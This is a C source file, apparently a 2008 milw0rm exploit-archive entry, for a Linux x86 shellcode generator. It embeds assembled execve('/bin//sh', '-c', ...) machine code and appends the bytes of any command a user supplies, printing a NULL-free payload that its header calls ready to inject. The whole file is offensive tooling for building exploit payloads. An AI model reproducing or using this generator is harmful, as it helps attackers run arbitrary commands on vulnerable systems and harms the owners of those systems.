73 lines
No EOL
2.4 KiB
C
73 lines
No EOL
2.4 KiB
C
/**
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*
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* BlackLight's shellcode generator for Linux x86
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* Tested anywhere, working & NULL-free
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*
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* Usage: ./generator <cmd>
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* ...and then you've got a ready2inject NULL-free shellcode for the command you like
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*
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* copyleft 2008 by BlackLight <blacklight[at]autistici.org>
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* < http://blacklight.gotdns.org >
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*
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* Released under GPL v.3 licence
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*
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* Greetz to: evilsocket, for the idea he gave me ;)
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* Greetz to: my friends, who tested, used and appreciated this code and helped
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* me to improve it to what it is now
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* Greetz to: my girl, next to me in any moment even if she had no idea
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* about what I was doing ^^
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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char code[] =
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"\\x60" /*pusha*/
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"\\x31\\xc0" /*xor %eax,%eax*/
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"\\x31\\xd2" /*xor %edx,%edx*/
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"\\xb0\\x0b" /*mov $0xb,%al*/
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"\\x52" /*push %edx*/
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"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/
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"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/
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"\\x89\\xe3" /*mov %esp,%ebx*/
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"\\x52" /*push %edx*/
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"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/
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"\\x89\\xe1" /*mov %esp,%ecx*/
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"\\x52" /*push %edx*/
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"\\xeb\\x07" /*jmp 804839a <cmd>*/
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"\\x51" /*push %ecx*/
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"\\x53" /*push %ebx*/
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"\\x89\\xe1" /*mov %esp,%ecx*/
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"\\xcd\\x80" /*int $0x80*/
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"\\x61" /*popa*/
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"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 <l1>*/;
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int main (int argc, char **argv) {
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int i,len=0;
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char *shell,*cmd;
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if (!argv[1])
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exit(1);
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for (i=1; i<argc; i++)
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len += strlen(argv[i]);
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len += argc;
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cmd = (char*) malloc(len);
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for (i=1; i<argc; i++) {
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strcat (cmd,argv[i]);
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strcat (cmd,"\x20");
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}
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cmd[strlen(cmd)-1]=0;
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shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
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memcpy (shell,code,sizeof(code));
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for (i=0; i<strlen(cmd); i++)
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sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
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printf ("%s\n",shell);
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}
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// milw0rm.com [2008-08-19]
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